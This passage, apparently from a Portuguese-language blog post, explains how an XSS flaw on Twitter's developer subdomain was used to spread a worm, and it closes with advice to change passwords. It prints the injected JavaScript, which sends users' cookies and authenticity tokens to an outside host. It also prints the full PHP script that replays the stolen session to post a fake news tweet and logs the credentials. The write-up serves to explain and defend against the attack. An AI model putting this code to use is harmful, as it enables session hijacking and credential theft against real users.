uma copia da mensagem acima.A mensagem se espalhou numa explosao combinatorial para praticamente todo o twitter.Nao demoraram muito a descobrirem como a falha funcionava e a imitaram:@octanefx foi muito menos bozinho que @Joseph_Felix e com os cookies que roubou, transformou um pedaco do twitter em sua marionete:Segundo ele mesmo, "Mesmo depois de solucionado o problema no site do twitter, ainda posso manipular as contas por algum tempo."Enquanto isso, @Joseph_Felix revelava suas verdadeiras intencoes:A falhaO Twitter tinha um problema de XSS (http://www.xssed.com/news/116/Twitter_developer_platform_search_field_vulnerable_to_XSS_/) que permitia injetar um codigo javascript e assim obter o cookie do subdominio dev.twitter.com. Esse cookie pode ser usado em qualquer pagina do dominio twitter.com. No caso, foi usado para postar uma mensagem na timeline. O exploit criado injetava o segunte codigo:window.onload=function(){location.href='//dgoh-codes.com/joseph/twitter/?cookie='.concat(escape(document.cookie),'&token=',document.body.innerHTML.match(/value\', \'([^\']+)/i)[1]);}Esse codigo envia 2 informacoes a pagina "dgoh-codes.com/joseph/twitter":Os cookies do usuario (document.cookie)O authencity_token do usuario. Esse token serve para evitar ataques CSRFO Codigo que @Joseph_Felix usou em dgoh-codes.com/joseph/twitter foi:<?php$inf = $_GET["cookie"];$token = $_GET["token"];$status = "Pe Lanza da banda Restart sofre acidente tragico | http://bit.ly/d5Pho8";if (!empty($inf) && !empty($token)){$c = curl_init("http://twitter.com/status/update");curl_setopt_array($c, Array(CURLOPT_RETURNTRANSFER => true,CURLOPT_COOKIE => $inf,CURLOPT_CUSTOMREQUEST => "POST",CURLOPT_POST => true,CURLOPT_POSTFIELDS => "authenticity_token={$token}&status=".rawurlencode($status)."&twttr=true&return_rendered_status=true&lat=&lon=&place_id=&display_coordinates=false"));$posta = curl_exec($c);print $posta;$fp = fopen("arquivo_cookie.txt", "a");fwrite($fp, "Cookie: " . $inf . "\r\nAuthenticity_token: {$token}\r\n\r\n");fclose($fp);header("Location: http://twitter.com/Joseph_Felix");}?>Este codigo tambem esta em http://pastebin.com/pFUtvM42O exploit criado funciona da seguinte maneira:Usuario do twitter entre no link malicioso Usuario e redirecionado para dev.twitter.comAtraves da falha de XSS, o codigo injeta um javascript que envia o conteudo de document.cookie e do authenticity_token para "dgoh-codes.com/joseph/twitter" (ou worm_pe_lanza)A pagina worm_pe_lanza cria uma requisicao para http://twitter.com/status/update com as seguintes informacoes:Cookie: a informacao recebida por "$_GET["cookie"];"Tipo de requisicao : POSTvalores enviadosauthenticity_token= valor em "$_GET["token"]"status="Pe Lanza da banda Restart sofre acidente tragico | http://bit.ly/d5Pho8"twttr=truereturn_rendered_status=truedisplay_coordinates=falseA pagina worm_pe_lanza salva o cookie E o token do usuario num arquivo arquivo_cookie.txt.Usuario e redirecionado para http://twitter.com/Joseph_FelixSolucao?O exploit usa do cookie e do authenticity token para criar o worm. Porem, basta que o exploit tenha o cookie que ele pode obter o token, bastando pra isso fazer um get a dev.twitter.com (como observado pelo @viniciuskmax).A unica solucao e renovar o cookie, para que o cookie roubado fique inutil. @RodLac disse que trocar uma senha basta para invalidar um cookie, mas logout/login nao. @altieres sugere, alem de trocar a senha, limpar o cache (pois alguns antivirus colocaram o exploit na sua base de dados, e podem detecta-lo se ele ainda residir em algum cache do navegador.Em suma: se voce foi atingido, troque sua senha.